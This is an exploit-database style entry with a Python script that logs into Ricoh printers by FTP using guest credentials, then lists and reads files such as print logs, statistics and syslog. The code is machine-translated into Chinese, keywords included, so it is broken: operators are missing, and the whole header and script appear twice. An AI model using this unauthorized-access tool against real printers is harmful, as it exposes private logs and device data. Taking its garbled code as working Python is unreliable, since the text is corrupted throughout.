#Exploit Title: Ricoh打印机目录和文件曝光
#日期: 9/15/2023
#Exploit作者: Thomas Heverin(Heverin Hacker)
#Vendor HomePage3360 https://www.ricoh.com/products/printers-and-copiers
#software link: https://replit.com/@heverinhacker/ricoh-printer-directory-and-file-and-file-finder-finder#main.py
#版本:理光打印机- 所有版本
#Tested On: Windows
#CVE: N/A。
#Directories找到:帮助,信息(打印机信息),prnlog(打印日志),stat(statistics)和syslog(系统日志)
从ftplib导入ftp
DEF FTP_CONNECT(IP):
TRY:
ftp=ftp(ip)
ftp.login('guest','客人')
打印(ftp off ftp作为'guest'')
返回FTP
除异常外,E:
print(通过ftp: {e}'连接到{ip}')
没有返回
如果name=='__ -Main __':
target_ip=input('Enter the RICOH打印机IP地址:')
ftp_connection=ftp_connect(target_ip)
如果FTP_Connection:
TRY:
而true:
file_list=ftp_connection.nlst()
打印('RICOH打印机文件和目录的列表:')
对于索引,枚举中的项目(file_list,start=1):
print(f'{index}。{item}')
file_index=int(输入('输入文件的打印机索引以读取(1个基于1),或者输入0到exit:')) - 1
如果file_index 0:
休息
如果0=file_index len(file_list):
selected_file=file_list [file_index]
线=[]
ftp_connection.retrlines('retr' + selected_file,lines.append)
打印({selected_file}':'的f'contents')
对于行中的行:
打印(线)
其他:
打印(“无效的文件索引。”)
除异常外,E:
打印(f'f'fail for执行操作: {e}')
最后:
ftp_connection.quit()
#日期: 9/15/2023
#Exploit作者: Thomas Heverin(Heverin Hacker)
#Vendor HomePage3360 https://www.ricoh.com/products/printers-and-copiers
#software link: https://replit.com/@heverinhacker/ricoh-printer-directory-and-file-and-file-finder-finder#main.py
#版本:理光打印机- 所有版本
#Tested On: Windows
#CVE: N/A。
#Directories找到:帮助,信息(打印机信息),prnlog(打印日志),stat(statistics)和syslog(系统日志)
从ftplib导入ftp
DEF FTP_CONNECT(IP):
TRY:
ftp=ftp(ip)
ftp.login('guest','客人')
打印(ftp off ftp作为'guest'')
返回FTP
除异常外,E:
print(通过ftp: {e}'连接到{ip}')
没有返回
如果name=='__ -Main __':
target_ip=input('Enter the RICOH打印机IP地址:')
ftp_connection=ftp_connect(target_ip)
如果FTP_Connection:
TRY:
而true:
file_list=ftp_connection.nlst()
打印('RICOH打印机文件和目录的列表:')
对于索引,枚举中的项目(file_list,start=1):
print(f'{index}。{item}')
file_index=int(输入('输入文件的打印机索引以读取(1个基于1),或者输入0到exit:')) - 1
如果file_index 0:
休息
如果0=file_index len(file_list):
selected_file=file_list [file_index]
线=[]
ftp_connection.retrlines('retr' + selected_file,lines.append)
打印({selected_file}':'的f'contents')
对于行中的行:
打印(线)
其他:
打印(“无效的文件索引。”)
除异常外,E:
打印(f'f'fail for执行操作: {e}')
最后:
ftp_connection.quit()